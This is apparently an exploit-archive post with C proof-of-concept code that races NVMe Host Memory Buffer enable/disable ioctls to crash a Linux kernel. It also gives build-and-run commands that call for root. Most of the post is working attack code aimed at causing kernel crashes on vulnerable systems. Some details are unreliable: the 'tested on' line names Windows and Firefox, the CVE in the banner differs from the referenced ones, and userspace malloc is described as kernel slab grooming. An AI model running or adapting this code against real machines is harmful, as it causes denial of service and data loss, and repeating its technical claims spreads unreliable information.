Linux NVMe HMB Race Condition

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| # Title Linux NVMe HMB Race Condition

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| # Title : Concurrent NVMe HMB Feature Toggling with Memory Grooming to Stress Kernel Race Conditions |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.ubuntu.com/ |
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[+] References : https://packetstorm.news/files/id/215096/ & CVE-2022-48986, CVE-2024-56606, CVE-2024-56756

[+] Summary : This code is a low-level stress test designed to exercise the Linux NVMe driver?s handling of the Host Memory Buffer (HMB) feature under extreme concurrent conditions.
It spawns multiple threads that rapidly enable and disable the HMB feature via NVMe admin ioctl commands while a separate thread continuously allocates and frees memory
to influence kernel heap behavior (memory grooming).
The program targets potential race conditions in the HMB lifecycle management by forcing rapid state transitions (enable/disable) from parallel threads,
increasing the likelihood of inconsistent internal state handling within the kernel driver. Its primary observable effect is system instability
or kernel crashes on vulnerable or improperly synchronized implementations. The code is intended for experimental, educational, or robustness-testing purposes to
study driver behavior under concurrent stress rather than as a reliable or deterministic exploit.

[+] POC : gcc -o nvme_exploit exploit_nvme_hmb.c -lpthread

sudo ./nvme_exploit

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <errno.h>
#include <pthread.h>
#include <linux/types.h>

#define NVME_IOCTL_ADMIN_CMD _IOWR('N', 0x41, struct nvme_passthrough_cmd)

struct nvme_passthrough_cmd {
__u8 opcode;
__u8 flags;
__u16 rsvd1;
__u32 nsid;
__u32 cdw2;
__u32 cdw3;
__u64 metadata;
__u64 addr;
__u32 metadata_len;
__u32 data_len;
__u32 cdw10;
__u32 cdw11;
__u32 cdw12;
__u32 cdw13;
__u32 cdw14;
__u32 cdw15;
__u32 timeout_ms;
__u32 result;
};

static volatile int stop_threads = 0;
static int fd = -1;

void* spray_thread(void* arg) {
void* pages[512] = {NULL};
while (!stop_threads) {
for (int i = 0; i < 512; i++) {
pages[i] = malloc(4096);
if (pages[i]) memset(pages[i], 0x41, 4096);
}
usleep(100);
for (int i = 0; i < 512; i++) {
if (pages[i]) {
free(pages[i]);
pages[i] = NULL;
}
}
}
return NULL;
}

void* race_thread(void* arg) {
struct nvme_passthrough_cmd cmd;
char buffer[4096] __attribute__((aligned(4096)));
memset(buffer, 0, sizeof(buffer));

while (!stop_threads) {
memset(&cmd, 0, sizeof(cmd));
cmd.opcode = 0x08;
cmd.nsid = 0;
cmd.cdw10 = 0x0D;

cmd.cdw11 = 0x01;
cmd.cdw12 = 1; // Descriptor count
cmd.addr = (__u64)buffer;
cmd.data_len = sizeof(buffer);
ioctl(fd, NVME_IOCTL_ADMIN_CMD, &cmd);

cmd.cdw11 = 0x00;
cmd.cdw12 = 0;
ioctl(fd, NVME_IOCTL_ADMIN_CMD, &cmd);
}
return NULL;
}

int main(int argc, char** argv) {
printf("[!] CVE-2025-39993: NVMe HMB Double-Free Trigger\n");

if (geteuid() != 0) {
fprintf(stderr, "[-] Error: Root privileges required.\n");
return 1;
}

fd = open("/dev/nvme0", O_RDWR);
if (fd < 0) {
perror("[-] Failed to open /dev/nvme0");
return 1;
}

pthread_t t1, t2, t3;

printf("[*] Initializing Spraying and Race threads...\n");

pthread_create(&t1, NULL, spray_thread, NULL);
pthread_create(&t2, NULL, race_thread, NULL);
pthread_create(&t3, NULL, race_thread, NULL);

printf("[+] Attack active. System crash expected shortly...\n");
printf("[*] Press Ctrl+C to abort (if the system is still responsive).\n");

for(int i = 0; i < 60 && !stop_threads; i++) {
sleep(1);
if (i % 5 == 0) printf("[.] Injecting packets into kernel slab...\n");
}

stop_threads = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
close(fd);

printf("[-] Exploit finished. If no crash occurred, the kernel might be patched.\n");
return 0;
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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